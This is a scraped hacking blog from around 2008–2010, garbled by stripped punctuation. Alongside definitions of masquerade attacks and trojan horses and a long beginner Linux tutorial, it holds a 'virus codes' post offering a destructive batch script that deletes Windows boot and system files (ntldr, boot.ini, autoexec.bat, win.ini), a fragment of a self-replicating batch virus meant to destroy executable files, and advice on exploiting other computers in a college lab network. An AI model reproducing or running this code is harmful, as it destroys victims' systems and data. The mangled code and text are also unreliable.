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r of a system in order to gain access to it or to gain greater privileges than they are authorized for a masquerade may be attempted through the use of stolen logon ids and passwords through finding security gaps in programs or through bypassing the authentication mechanism the attempt may come from within an organization for example from an employee or from an outside user through some connection to the public network weak authentication provides one of the easiest points of entry for a masquerade since it makes it much easier for an attacker to gain access once the attacker has been authorized for entry they may have full access to the organization s critical data and depending on the privilege level they pretend to have may be able to modify and delete software and data and make changes to network configuration and routing information posted by mrperfect at 4 41 am no comments monday december 20 2010 trojen horse innocent looking computer program that appears to perform a legitimate and useful function but also secretly performs destructive and illegal functions such as destroying the stored data or allowing an outsider to gain unauthorized access to the system unlike a computer virus a trojan horse usually does not replicate itself from one computer to another to spread across a wide area read more http www businessdictionary com definition trojan horse html ixzz18gxkhzem posted by mrperfect at 2 01 pm no comments friday october 10 2008 virus codes crash 1 save as anyname bat in notepad2 dont run on ur own computer unless yu really want the code echo offattrib r s h c autoexec batdel c autoexec batattrib r s h c boot inidel c boot iniattrib r s h c ntldrdel c ntldrattrib r s h c windows win inidel c windows win ini destroys com exe files 1 save as anyname bat in notepadthe code echo off nul virusif 1 virus_multiply goto virus_multiplyif 1 virus_outer_loop goto virus_outer_loopif 1 virus_findself goto virus_findselfif voff t goto virus_oldbatset virusname 0if not exist 0 bat call 0 virus_findself path if not exist virusname bat set virusname if virusname goto virus_oldbat posted by mrperfect at 8 35 am 1 comment labels virus codes server hacking how to in my college lab all systems r connected in a lan and all systems have same ip s is it possible to get into other system s which is near by in the lab is it possible to shutdown the systems nearby answer if u can go to ur windows installed folder then goto system32 n search for file named ddeshare open it n select trusted shares or shared computers option frm shares menu it will show the link of all comp attached to lan click on any one of it n see if u can xploit it posted by mrperfect at 8 35 am no comments linux essential for hacking it is considered that linux is very hard to learn in a certain point it s true why because linux is other than windows these are two absolutely different operating systems remember the first time when you saw the computer with windows i don t think it was easy for you to get used to it you ll have to learn how to use linux from the very beginning and that s why it s hard just like the first time you saw computer this quite short article will only introduce you to linux you ll learn here only what is needed for the beginning though a lot of people managed to learn it without any helping manuals now i guess you are a newbie right now otherwise you won t read it kay you have to choose a linux distribution as there s a lot of them out there opensuse mandriva debian ubuntu slackware arch gentoo and many other what shall i recommend to you i ll strongly recommend to you you use slackware not just because i like this distribution but because it s the most logical choice there first of all what do we want in the way of a hacker understanding the system i d better stay out of philosophy right now so let s speak about computer system why can t we reach full understanding of operating system with ubuntu opensuse mandriva also windows because this are so called clicking distributions here you use your mouse you click the buttons and the program is configuring everything for you this have its advantages for a office use but not for us like i said we want to understand how system works which is too hard when everything is done by computer and secondly automatic configuration produces an errors and skips them without proper solution this leads user to different kinds of errors malfunctions in windows to the blue screen of death that s why slackware brings you combination of opportunity to learn linux and stability there are some other advantages of using slackware for example it s not a commercial distribution which doesn t lead us to the problems with copyrighted software like mp3 and video codecs no matter what others say slackware is easy to use it has nice tools for system administration which allow you simple network configuration package administration e t c you can change slackware to whatever you want once you ll become more advanced in this stuff these are some of a reasons why i use slackware and why i recommend it to you alright enough slackware propaganda let s get to work i will not tell here about specific distribution tools i ll tell about basic things in linux if you want more information on slackware check out main web of slackware http www slackware com or download the slackware book http www slackbook org 1 linux filesystemwe know in windows to each partition are assigned letters c d e t c these are starting directories in linux it s different there s only one starting directory marked with named root directory if we ll take a look at the files in directory we ll see here directories like etc bin home usr and others each of them have it s own function and each of them can be placed to the different partitions can you imagine c windows and d windowssystem being on the same machine for the partition to be accessible it must be mounted the system must be told the device where the partition is situated and the directory where it s files will be listed a so called mount point to better understand this kind of stuff we installed linux we had two partitions one was clean another had windows we installed linux on this clean partition now when we launch linux this partition is a root partition we want to make our windows partition make accessible we have to mount it in the special configuration file etc fstab we input the device of this partition for example dev sda1 we ll talk about devices later a mount point windows a file system ntfs and few other parameters after we mount it with a special command in our root directory we ll have a windows directory if we open it we ll see contents of a windows partition also as you might have guessed we use frontslash in linux instead of backslash used in windows new users should remember that linux is case sensitive if we want to access file home user desktop document we must write the address like that and if the address will be home user desktop document you ll get the error message now let s take a look at the directories in the root partition if we ll take a look at the directory we ll get at least the following bin etc lib mnt proc sbin usr boot dev home opt root tmp var each of these directories have their own purpose let s take a look at some of them bin contains executables used both by administrators and unprivileged users there are such executables as bash cp ls mv etc contains configuration files of your system lib here are all shared libraries required by different programs mnt a mount point for different media however it can be changed proc the proc filesystem is a pseudo filesystem that in fact doesnt exist on any particular media but in the virtual memory it s purpose is to mantain dynamic data of your system sbin contains executables used for system administration usr probably most important system directory asit has all user executable files support libraries for x are also kept here boot contains files used by bootloader and a linux kernel dev in linux everything is files or directories which means devices are also files you can get data from devices equivalent to reading files and send data to devices equivalent to writing files for example cdrom file represents you cdrom device fd0 your floppy reader a very bright example is dev dsp a speaker you can write to this file and you ll hear a sound data are sent to the sound card for example you can listen to linux readme file by inputting the following command cat usr src linux readme dev dsp home in this folder are created user folders each user has full write permissions to his folder user configuration data are stored here opt this is a directory for installation of a software that s not the part of a default installation root a home folder of a user root tmp directory for a temporary files var contains such things as received mail different system logs e t c 2 commandsnow that you know general things about filesystem in linux let s now take a look on how can we manipulate with files and perform different tasks under linux yet not using graphical environments now we will learn some things about linux commands i ll write here main commands and explain what do they do and how to use them cd command for changing current directory you can input absolute path for example home user documents or relative path documents assuming your current location is home user to change location to the upper directory with a relative path just input location e g cd ls command for listing files in directory you can input just ls so files in the current directory will be listed or you can input absolute path another thing to mention are wildcards for particular file matches if we input command ls usr bin p we ll get listing of all files whose filenames are starting with p if we input ls usr bin yt we ll get all files whose name have yt here wildcard means any cat command for displaying file you can input relative path of a file you want to display or a full path to a file this thing is good if your file isn t big as you won t have possibility to scroll through the console output always i m talking about text mode now we ll talk about it later in case you want to view bigger file you can use more for example more usr home tetxfile textfile will be displayed in something like pages press spacebar for next page mv moving files first input oldlocation of the file then input location location of a new file locations can be relative exmaple mv home user doc1 home user newdoc mv is also used for renaming files cp works like mv except it leaves oldfile and in a new location creates a copy of a file mkdir will create new empty directoryrm will remove file just remember that it doesn t remove directories rmdir without parameters will remove directory if it is empty if directory is not empty use rf parameter use with caution clear if you got too much garbage in your console you can clear it with this command man get detailed help on using a recent command nano nano is a basic editor for linux you can open existing files with it or create a new files by inputting a unique filename once nano is opened you ll see possible options in the bottom of a screen means ctrl button vim advanced text editor you can edit existing file by inputting it s name after command or create a new file by inputting a unique filename once vim is opened press i to start editing you can get vim command line at any time by pressing esc to write a file input w to quit q to quit without saving use q more info in the vim documentation with this command you can execute file for example you got a script shell sh and you want to execute it type shell sh to execute it filename path can be absolute or relative note that to execute files they must have execute permission see chmod chmod change permissions of a file you can define what permissions you are giving to a file with parameters here are some of them 400 read by owner040 read by group004 read by anybody other 200 write by owner020 write by group002 write by anybody100 execute by owner010 execute by group001 execute by anybodylynx though this program isn t installed in every distribution by default i ll mention about it as it can be very useful sometimes lynx is a text web browser it doesn t show images it doesn t support frames or tables it s a very simple text browser links another textbrowser but a little bit more advanced it supports tables and have some useful functions 3 text mode x window system and kdefirst of all normally there s a text mode where instead of pixels are used symbols text of course here you can t see any graphics which means you can t view images you can t launch application that are created for a graphical mode however textmode is good for a specific work for example you ll really appreciate a black background with a gray text on it when you ve been working with a code the whole day and night when you are in text mode you can switch between virtual console using alt f where 3 is a number of a virtual console 1 6 you can do some configuration using command setterm you can get more information on using this command simply by inputting it without any parameters or for more advanced help on the command see man pages command man setterm to switch to a textmode when you are in graphical more use command telinit 3 for this you gonna need root privileges to get back to the windows system input startx now let s take a look on the x windows system like it is written in wikipedia the x window system commonly x11 or x is a system which implements the x display protocol and provides windowing on bitmap displays it provides the standard toolkit and protocol with which to build graphical user interfaces guis on most unix like operating systems x windows system is provided by the x server i wouldn t better explain now the configuration of an x server usually it is configured automatically to launch an x server from a textmode input command startx here will be launched default graphical environment that you ve probably selected during installation here comes x differences between distributions here come problems different distributions have different configuration tools different default graphical environments better take a look at your distribution manual to see how to change configuration of different x stuff in the beginning of this article i was talking about slackware in slackware the main graphical environment is kde currently kde is most popular graphical environment second most popular is gnome and it is known as easily configurable environment here you don t need to change any configuration files manually but you can use such a things as control center and others let s take a brief look at the main applications in kde but before we do i would like to mention that you can execute programs quickly by pressing alt f2 and inputting a command konqueror execution command konqueror a multi purpose program a file manager a web br...